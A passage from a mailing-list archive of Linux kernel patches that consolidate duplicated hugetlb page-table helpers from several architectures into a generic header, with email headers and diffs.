        by relay4-d.mail.gandi.net (Postfix) with ESMTPSA id 71D40E0004;
        Thu,  5 Jul 2018 05:24:31 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705051640.790-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812049 gmane.linux.ports.arm.kernel:660930 gmane.linux.ports.ia64:28900 gmane.linux.ports.mips.general:65260 gmane.linux.ports.parisc:28751 gmane.linux.ports.ppc64.devel:159684 gmane.linux.ports.sh.devel:57173 gmane.linux.ports.sparc:28075 gmane.linux.kernel.cross-arch:45021
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812049>

arm, arm64, ia64, mips, parisc, powerpc, sh, sparc, x86
architectures use the same version of huge_pte_wrprotect, so move
this generic implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb.h     | 5 -----
 arch/arm64/include/asm/hugetlb.h   | 5 -----
 arch/ia64/include/asm/hugetlb.h    | 5 -----
 arch/mips/include/asm/hugetlb.h    | 5 -----
 arch/parisc/include/asm/hugetlb.h  | 5 -----
 arch/powerpc/include/asm/hugetlb.h | 5 -----
 arch/sh/include/asm/hugetlb.h      | 5 -----
 arch/sparc/include/asm/hugetlb.h   | 5 -----
 arch/x86/include/asm/hugetlb.h     | 5 -----
 include/asm-generic/hugetlb.h      | 7 +++++++
 10 files changed, 7 insertions(+), 45 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 3d2ce4dbc145..1e718a626ef9 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -43,11 +43,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 49247c6f94db..1fd64ebf0cd7 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -42,11 +42,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index bf573500b3c4..82fe3d7a38d9 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -26,11 +26,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 1c9c4531376c..b3d6bb53ee6e 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -62,11 +62,6 @@ static inline int huge_pte_none(pte_t pte)
 	return !val || (val == (unsigned long)invalid_pte_table);
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index c09d8c74553c..5a102d7251e4 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -38,11 +38,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 530b817e097c..6f056dc44345 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -152,11 +152,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_hugetlb_page(vma, addr);
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index a9f8266f33cf..54f65094efe6 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -31,11 +31,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 11115bbd712e..f661362376e0 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -48,11 +48,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index c5fdc53b6e41..19668672ab37 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,11 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 2fc3d68424e9..cd9697672b79 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -80,4 +80,11 @@ static inline int huge_pte_none(pte_t pte)
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTE_WRPROTECT
+static inline pte_t huge_pte_wrprotect(pte_t pte)
+{
+	return pte_wrprotect(pte);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 08/11] hugetlb: Introduce generic version of prepare_hugepage_range
Date: Thu,  5 Jul 2018 05:16:37 +0000
Lines: 217
Approved: news@gmane.org
Message-ID: <20180705051640.790-9-alex@ghiti.fr>
References: <20180705051640.790-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530768234 19211 195.159.176.226 (5 Jul 2018 05:23:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:23:54 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 07:23:47 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawk6-0004rR-E0
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 07:23:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753264AbeGEFZx (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 01:25:53 -0400
Original-Received: from relay4-d.mail.gandi.net ([217.70.183.196]:45171 "EHLO
        relay4-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751763AbeGEFZu (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 01:25:50 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay4-d.mail.gandi.net (Postfix) with ESMTPSA id B7BCFE0007;
        Thu,  5 Jul 2018 05:25:43 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705051640.790-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812051 gmane.linux.ports.arm.kernel:660931 gmane.linux.ports.ia64:28901 gmane.linux.ports.mips.general:65261 gmane.linux.ports.parisc:28752 gmane.linux.ports.ppc64.devel:159685 gmane.linux.ports.sh.devel:57174 gmane.linux.ports.sparc:28076 gmane.linux.kernel.cross-arch:45022
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812051>

arm, arm64, powerpc, sparc, x86 architectures use the same version of
prepare_hugepage_range, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb.h     | 11 -----------
 arch/arm64/include/asm/hugetlb.h   | 11 -----------
 arch/ia64/include/asm/hugetlb.h    |  1 +
 arch/mips/include/asm/hugetlb.h    |  1 +
 arch/parisc/include/asm/hugetlb.h  |  1 +
 arch/powerpc/include/asm/hugetlb.h | 15 ---------------
 arch/sh/include/asm/hugetlb.h      |  1 +
 arch/sparc/include/asm/hugetlb.h   | 16 ----------------
 arch/x86/include/asm/hugetlb.h     | 15 ---------------
 include/asm-generic/hugetlb.h      | 15 +++++++++++++++
 10 files changed, 19 insertions(+), 68 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 1e718a626ef9..34fb401efe81 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -32,17 +32,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline int prepare_hugepage_range(struct file *file,
-					 unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 1fd64ebf0cd7..3e7f6e69b28d 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -31,17 +31,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline int prepare_hugepage_range(struct file *file,
-					 unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 82fe3d7a38d9..cbe296271030 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -9,6 +9,7 @@ void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 int prepare_hugepage_range(struct file *file,
 			unsigned long addr, unsigned long len);
 
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index b3d6bb53ee6e..6ff2531cfb1d 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -18,6 +18,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 static inline int prepare_hugepage_range(struct file *file,
 					 unsigned long addr,
 					 unsigned long len)
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 5a102d7251e4..fb7e0fd858a3 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -22,6 +22,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
  * If the arch doesn't supply something else, assume that hugepage
  * size aligned regions are ok without further preparation.
  */
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 static inline int prepare_hugepage_range(struct file *file,
 			unsigned long addr, unsigned long len)
 {
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 6f056dc44345..9fcb5fee2e33 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -117,21 +117,6 @@ void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
-/*
- * If the arch doesn't supply something else, assume that hugepage
- * size aligned regions are ok without further preparation.
- */
-static inline int prepare_hugepage_range(struct file *file,
-			unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 #define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 54f65094efe6..f1bbd255ee43 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -15,6 +15,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
  * If the arch doesn't supply something else, assume that hugepage
  * size aligned regions are ok without further preparation.
  */
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 static inline int prepare_hugepage_range(struct file *file,
 			unsigned long addr, unsigned long len)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index f661362376e0..2101ea217f33 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -26,22 +26,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-/*
- * If the arch doesn't supply something else, assume that hugepage
- * size aligned regions are ok without further preparation.
- */
-static inline int prepare_hugepage_range(struct file *file,
-			unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 #define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 19668672ab37..2e5117d37c7d 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -12,21 +12,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-/*
- * If the arch doesn't supply something else, assume that hugepage
- * size aligned regions are ok without further preparation.
- */
-static inline int prepare_hugepage_range(struct file *file,
-			unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index cd9697672b79..6c0c8b0c71e0 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -87,4 +87,19 @@ static inline pte_t huge_pte_wrprotect(pte_t pte)
 }
 #endif
 
+#ifndef __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
+static inline int prepare_hugepage_range(struct file *file,
+		unsigned long addr, unsigned long len)
+{
+	struct hstate *h = hstate_file(file);
+
+	if (len & ~huge_page_mask(h))
+		return -EINVAL;
+	if (addr & ~huge_page_mask(h))
+		return -EINVAL;
+
+	return 0;
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 09/11] hugetlb: Introduce generic version of huge_ptep_set_wrprotect
Date: Thu,  5 Jul 2018 05:16:38 +0000
Lines: 216
Approved: news@gmane.org
Message-ID: <20180705051640.790-10-alex@ghiti.fr>
References: <20180705051640.790-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530768302 24378 195.159.176.226 (5 Jul 2018 05:25:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:25:02 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 07:24:55 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawlD-00068K-5N
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 07:24:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753375AbeGEF1D (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 01:27:03 -0400
Original-Received: from relay1-d.mail.gandi.net ([217.70.183.193]:53467 "EHLO
        relay1-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751811AbeGEF1B (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 01:27:01 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay1-d.mail.gandi.net (Postfix) with ESMTPSA id 1E8E2240006;
        Thu,  5 Jul 2018 05:26:48 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705051640.790-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812052 gmane.linux.ports.arm.kernel:660932 gmane.linux.ports.ia64:28902 gmane.linux.ports.mips.general:65262 gmane.linux.ports.parisc:28753 gmane.linux.ports.ppc64.devel:159686 gmane.linux.ports.sh.devel:57175 gmane.linux.ports.sparc:28077 gmane.linux.kernel.cross-arch:45023
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812052>

arm, ia64, mips, sh, x86 architectures use the same version
of huge_ptep_set_wrprotect, so move this generic implementation into
asm-generic/hugetlb.h.
Note: powerpc uses twice for book3s/32 and nohash/32 the same version as
the above architectures, but the modification was not straightforward
and hence has not been done.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h        | 6 ------
 arch/arm64/include/asm/hugetlb.h             | 1 +
 arch/ia64/include/asm/hugetlb.h              | 6 ------
 arch/mips/include/asm/hugetlb.h              | 6 ------
 arch/parisc/include/asm/hugetlb.h            | 1 +
 arch/powerpc/include/asm/book3s/32/pgtable.h | 2 ++
 arch/powerpc/include/asm/book3s/64/pgtable.h | 1 +
 arch/powerpc/include/asm/nohash/32/pgtable.h | 2 ++
 arch/powerpc/include/asm/nohash/64/pgtable.h | 1 +
 arch/sh/include/asm/hugetlb.h                | 6 ------
 arch/sparc/include/asm/hugetlb.h             | 1 +
 arch/x86/include/asm/hugetlb.h               | 6 ------
 include/asm-generic/hugetlb.h                | 8 ++++++++
 13 files changed, 17 insertions(+), 30 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index b897541520ef..8247cd6a2ac6 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 3e7f6e69b28d..f4f69ae5466e 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -48,6 +48,7 @@ extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 #define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
 #define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index cbe296271030..49d1f7949f3a 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 6ff2531cfb1d..3dcf5debf8c4 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -63,12 +63,6 @@ static inline int huge_pte_none(pte_t pte)
 	return !val || (val == (unsigned long)invalid_pte_table);
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr,
 					     pte_t *ptep, pte_t pte,
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index fb7e0fd858a3..9c3950ca2974 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -39,6 +39,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/book3s/32/pgtable.h b/arch/powerpc/include/asm/book3s/32/pgtable.h
index 02f5acd7ccc4..d2cd1d0226e9 100644
--- a/arch/powerpc/include/asm/book3s/32/pgtable.h
+++ b/arch/powerpc/include/asm/book3s/32/pgtable.h
@@ -228,6 +228,8 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 {
 	pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
 }
+
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/book3s/64/pgtable.h b/arch/powerpc/include/asm/book3s/64/pgtable.h
index 42aafba7a308..7d957f7c47cd 100644
--- a/arch/powerpc/include/asm/book3s/64/pgtable.h
+++ b/arch/powerpc/include/asm/book3s/64/pgtable.h
@@ -451,6 +451,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 		pte_update(mm, addr, ptep, 0, _PAGE_PRIVILEGED, 0);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/nohash/32/pgtable.h b/arch/powerpc/include/asm/nohash/32/pgtable.h
index 7c46a98cc7f4..f39e200d9591 100644
--- a/arch/powerpc/include/asm/nohash/32/pgtable.h
+++ b/arch/powerpc/include/asm/nohash/32/pgtable.h
@@ -249,6 +249,8 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 {
 	pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
 }
+
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/nohash/64/pgtable.h b/arch/powerpc/include/asm/nohash/64/pgtable.h
index dd0c7236208f..69fbf7e9b4db 100644
--- a/arch/powerpc/include/asm/nohash/64/pgtable.h
+++ b/arch/powerpc/include/asm/nohash/64/pgtable.h
@@ -238,6 +238,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
